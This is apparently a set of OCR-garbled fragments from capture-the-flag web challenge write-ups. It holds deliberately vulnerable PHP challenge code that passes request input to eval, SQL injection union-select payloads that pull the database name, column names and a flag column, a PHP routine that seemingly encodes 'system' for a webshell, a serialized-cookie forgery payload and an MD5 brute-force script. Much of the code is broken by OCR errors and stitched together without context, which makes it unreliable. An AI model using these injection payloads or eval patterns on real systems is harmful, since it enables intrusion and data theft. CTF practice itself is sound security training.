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include "flag.php";

$a = @$_REQUEST[hello";
if('preg_match(/Aw*$/",$a )X
die('ERROR);

}

eval("var_dump($$a);");
show_source(_ FILE_ );
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BENE: flaghEZEd/
include "flag.php";

$a = @$_REQUEST['hello’;
eval( "var_dump($a);");
show_source(__FILE_);
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error_reporting(0);

session_start();

require('./flag.php");
if(lisset($_SESSION['nums){
$_SESSION['nums] = 0;
$_SESSION[time'] = time();

$ SESSION['Whoami'] = 'ea’;

}

if($_SESSION['time’]+120
session_destroy();

}

$value = $ REQUEST'value;
$str_rand = range('a’, '2);
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25));
if($_SESSION['wWhoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$ SESSION['nums']++;

$ SESSION['whoami'] = $str_rands;
echo $str_rands;

}

if($_SESSION['nums>=10){

echo $flag;

}

show_source(__FILE_ );
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function ss1($txt, Sm)
for($i=0;$i

$tmp .= chr(ord($m[$i])+10);
}

$m=$tmp;

$tmp=";
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);

$txt = substr($txt,4);

for($i=0;$i
$key .= $txt[$i] A Sm[Si];
}

$s='0123456789abcdef’;
$txt1="system;

for($i=0;$i

$tmp .= chr(ord($txt1[$i])+10);
}

$txt1=$tmp;

$tmp=";

for($i=0;$i<16;$i++)

$tmp = $key.$s[$i];echo $tmp;
for($ii=0;S$ii

$txt2 .= $ixt1[$ii] » Stmp[$iil;



}
echo base64 _encode($rnd.$txt2).";

$txt2=";
}
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-1' union select * from (select database()) a join (select version() ) b %23 #5F ik T Z S HHER TEH, Stselect
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-1* union select * from (select column_name from information_schema.columns where
table_schema=database() and table_name='users') a join (select version() ) b %23

-1" union select * from (select group_concat(flag_9c861b688330) from users) a join (select version() ) b %23
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¥ payload:

$db=array('user'=>"ichungqiu’);

echo base64_encode(gzcompress(serialize($db)));
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import hashlib

head = '3a01cb’

for i in range(10000,10000000):

catch =i

val = hashlib.md5(str(catch)).hexdigest()

if val[0:6] == head:



print i
break;
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